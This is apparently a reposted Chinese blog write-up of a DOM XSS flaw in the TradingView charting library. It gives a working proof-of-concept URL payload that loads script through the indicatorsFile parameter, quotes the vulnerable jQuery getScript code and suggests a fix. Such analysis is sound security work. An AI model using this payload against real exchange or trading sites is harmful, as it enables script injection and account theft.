TradingView xss 0day 漏洞重现及分析

栏目: 编程工具 · 发布时间: 7年前

内容简介:近日,慢雾区传出js库TradingView xss 0day 漏洞,TradingView是多用于数字货币交易所、股票交易所的k线展示js库。Payload:#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=data:application/javascript,alert(‘xxx‘)//

0x00 概述

近日,慢雾区传出js库TradingView xss 0day 漏洞,TradingView是多用于数字货币交易所、股票交易所的k线展示js库。

0x01 漏洞重现

Payload:

#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=data:application/javascript,alert(‘xxx‘)//

https://www.xxx.com/assets/chart/charting_library/static/tv-chart.630b704a2b9d0eaf1593.html#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=data:application/javascript,alert(‘xxx’)//

TradingView xss 0day 漏洞重现及分析

TradingView xss 0day 漏洞重现及分析

0x02 修复方案

修改charting_library/static/bundles/library.xxx.js文件,使

getScript(“”)

0x03 漏洞分析

从payload的三个参数分析

漏洞文件:

charting_library/static/bundles/library.xxx.js

函数:

getScript(urlParams.indicatorsFile)

D?$.getScript(urlParams.indicatorsFile).done(function(){

此函数关键代码:

jQuery.ajaxTransport( "script", function( s ) {
 
  // This transport only deals with cross domain requests
  if ( s.crossDomain ) {
    var script, callback;
    return {
      send: function( _, complete ) {
        script = jQuery( "<script>" ).prop( {
          charset: s.scriptCharset,
          src: s.url
        } ).on(
          "load error",
          callback = function( evt ) {
            script.remove();
            callback = null;
            if ( evt ) {
              complete( evt.type === "error" ? 404 : 200, evt.type );
            }
          }
        );
 
        // Use native DOM manipulation to avoid our domManip AJAX trickery
        document.head.appendChild( script[ 0 ] );
      },
      abort: function() {
        if ( callback ) {
          callback();
        }
      }
    };
  }
} );

动态创建<script>,远程加载url。

另外两个参数:

function e()
{
JSON.parse(urlParams.disabledFeatures).forEach(function(e){t.setEnabled(e,!1)}),
JSON.parse(urlParams.enabledFeatures).forEach(function(e){t.setEnabled(e,!0)})
}

要求为json即可。

0x04 结语

DOM XSS,可过服务端/客户端防御。

测试了几个都存在,可见影响范围非常广。

0x05 参考资料

https://mp.weixin.qq.com/s/yfbKf_5Nk2NXFl2-xlFqKg


以上所述就是小编给大家介绍的《TradingView xss 0day 漏洞重现及分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Designing Web Navigation

Designing Web Navigation

James Kalbach / O'Reilly Media / 2007-8-15 / USD 49.99

Thoroughly rewritten for today's web environment, this bestselling book offers a fresh look at a fundamental topic of web site development: navigation design. Amid all the changes to the Web in the pa......一起来看看 《Designing Web Navigation》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具